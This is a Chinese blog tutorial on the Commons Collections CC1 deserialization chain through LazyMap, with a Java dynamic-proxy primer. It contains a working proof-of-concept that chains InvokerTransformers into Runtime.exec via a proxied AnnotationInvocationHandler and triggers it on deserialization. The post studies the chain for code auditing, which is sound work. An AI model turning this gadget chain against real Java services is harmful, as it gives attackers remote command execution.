Featured image of post Java代码审计CC1链 LazyMap

Java代码审计CC1链 LazyMap

Java反序列化CC1链---LazyMap

在上文TransformedMap文章中,我们知道除了TransformedMap外还有一个LazyMap也实现了transform方法

img

1
2
3
4
5
6
7
8
9
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

我们知道如果想要执行命令,那么

1
2
3
4
5
6
7
factory.transform(key);

就要变为以下形式

invoketransform.transform(Runtime.getRuntime)

InvokerTransformer

1.如何让factory=InvokerTransformer

我们发现factory是LazyMap类中的一个属性,由构造方法传入,但是由于构造方法是受保护的,只能类的内部调用,所以我们得找有没有public修饰的方法,并且调用了这个构造方法

我们发现decorate方法在内部实现了构造方法,并且传参为我们自己可控的

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package cn.itcast.demo.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc1lazymap {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"});
        //exec.transform(Runtime.getRuntime());
        HashMap<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, invokerTransformer);
        decorate.get(Runtime.getRuntime());

    }
}

img

2.谁可以调用get方法—AnnotationInvocationHandler

最好这个类是入口类,readobject方法里调用了get方法,并且可序列化了,但是查的话发现有2000多个类实现了get方法

img

这边入口类其实还是AnnotationInvocationHandler,但是不是他的readobject方法调用了get,而是Invoke方法调用了get

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//解释代理对象,方法名,参数
public Object invoke(Object proxy, Method method, Object[] args) {
        //获取方法名
        String member = method.getName();
        //获取参数类型
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        //判断方法名是不是equals,并且参数类型长度为1
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");
        //遍历方法,判断方法是不是toString方法
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

3.invoke方法—Java动态代理

3.1.Java动态代理基础

什么是Java的动态代理?Java 的动态代理(Dynamic Proxy) 是 Java 反射机制提供的一种强大功能,它允许你在运行时动态创建一个实现指定接口的代理对象,并在调用该对象的方法时插入自定义逻辑

代理可以干什么?代理可以无侵入式的给对象增强属性(如日志、权限检查、事务控制)

代理长什么样?对象长什么样代理就长什么样,代理是一个接口,对象需要实现代理里面的方法

img

案例

//UserService接口相当于经纪人,是一个中介

1
2
3
4
5
6
7
package cn.itcast.demo.Proxy;

//UserService接口相当于经纪人,是一个中介
public interface UserService {
    void sing(String name);
    void dance(String name);
}

//UserServiceImpl实现类,相当于明星

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package cn.itcast.demo.Proxy;

public class UserServiceImpl implements UserService {

    @Override
    public void sing(String name) {
        System.out.println(name + "正在唱歌");
    }

    @Override
    public void dance(String name) {
        System.out.println(name + "正在跳舞");
    }
}

//当粉丝想要歌手唱歌时,得先找经纪人,经纪人需要准备舞台话筒

//自定义InvocationHandler的实现类,它的作用是:拦截对代理对象方法的调用,并在真实方法执行前后插入额外逻辑(比如日志、权限控制、事务等)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package cn.itcast.demo.Proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class TestInvocationHandler implements InvocationHandler {
    private Object target;
    public TestInvocationHandler(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().equals("sing")) {
            System.out.println("经纪人开始准备唱歌工作");
            method.invoke(this.target, args);
            System.out.println("唱歌工作完成开始收尾工作");
        } else if (method.getName().equals("dance")) {
            System.out.println("经纪人开始准备跳舞工作");
            method.invoke(this.target, args);
            System.out.println("跳舞工作完成开始收尾工作");
        }
        return proxy;
    }
}

//

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package cn.itcast.demo.Proxy;

import java.lang.reflect.Proxy;

public class TestProxy {
    public static void main(String[] args) {
        //new UserServiceImpl() 具体要代理的对象,也就是明星
        TestInvocationHandler testInvocationHandler = new TestInvocationHandler(new UserServiceImpl());
        UserService us = (UserService) Proxy.newProxyInstance(
            //// 1. 类加载器
            ClassLoader.getSystemClassLoader(),
            // 2. 代理要实现的接口列表
            new Class[]{UserService.class},
            // 3. 方法调用处理器
            testInvocationHandler);
        us.sing("蔡徐坤");

    }
}

img

//整体执行流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
调用 us.sing("蔡徐坤")
        
JVM 发现 us 是代理对象$Proxy0
        
自动调用 testInvocationHandler.invoke(proxy, method, args)
        
你在 TestInvocationHandler.invoke() 中编写逻辑
   - 可以打印 "【前置】准备唱歌..."
   - 调用 method.invoke(realObject, args)  执行 UserServiceImpl.sing()
   - 打印 "【后置】唱完了!"

4.最终流程

img

当反序列化时,默认执行readObject方法,走到memberValues.entrySet()方法时,由于此时memberValue是我们传入的lazyMap,lazyMap是JDK的动态代理对象,代理MAP这个接口,那么任何对Map接口方法的调用都会走到invoke方法中, 自动触发 handler.invoke(proxy, method[entrySet], args)最终走到get方法

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    public void cc1_lazyMap() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 使用 LazyMap(更稳定)
        Map<String,String> map = new HashMap();
        map.put("value", "123456");
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        // 创建 AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);

        Map proxymap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

        Object o = ctor.newInstance(Target.class, proxymap);
        // 序列化代理对象(不是 handler 本身!)
        serialize(o);  // 注意:序列化的是 proxy
        deserialize("test.ser");
    }

img

5.为什么 ysoserial 使用 LazyMap 而非 TransformedMap?

  • AnnotationInvocationHandler 实际是注解的动态代理。
  • 当反序列化后,若有人调用注解方法(如 @Target.value()),会触发 LazyMap.get("value")
  • TransformedMap 依赖 setValue(),仅在部分 JDK 版本中被调用,不稳定。
  • 因此 LazyMap + 动态代理 是更通用的触发方式。

https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/

By Lsec
最后更新于 Dec 11, 2025 15:31 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ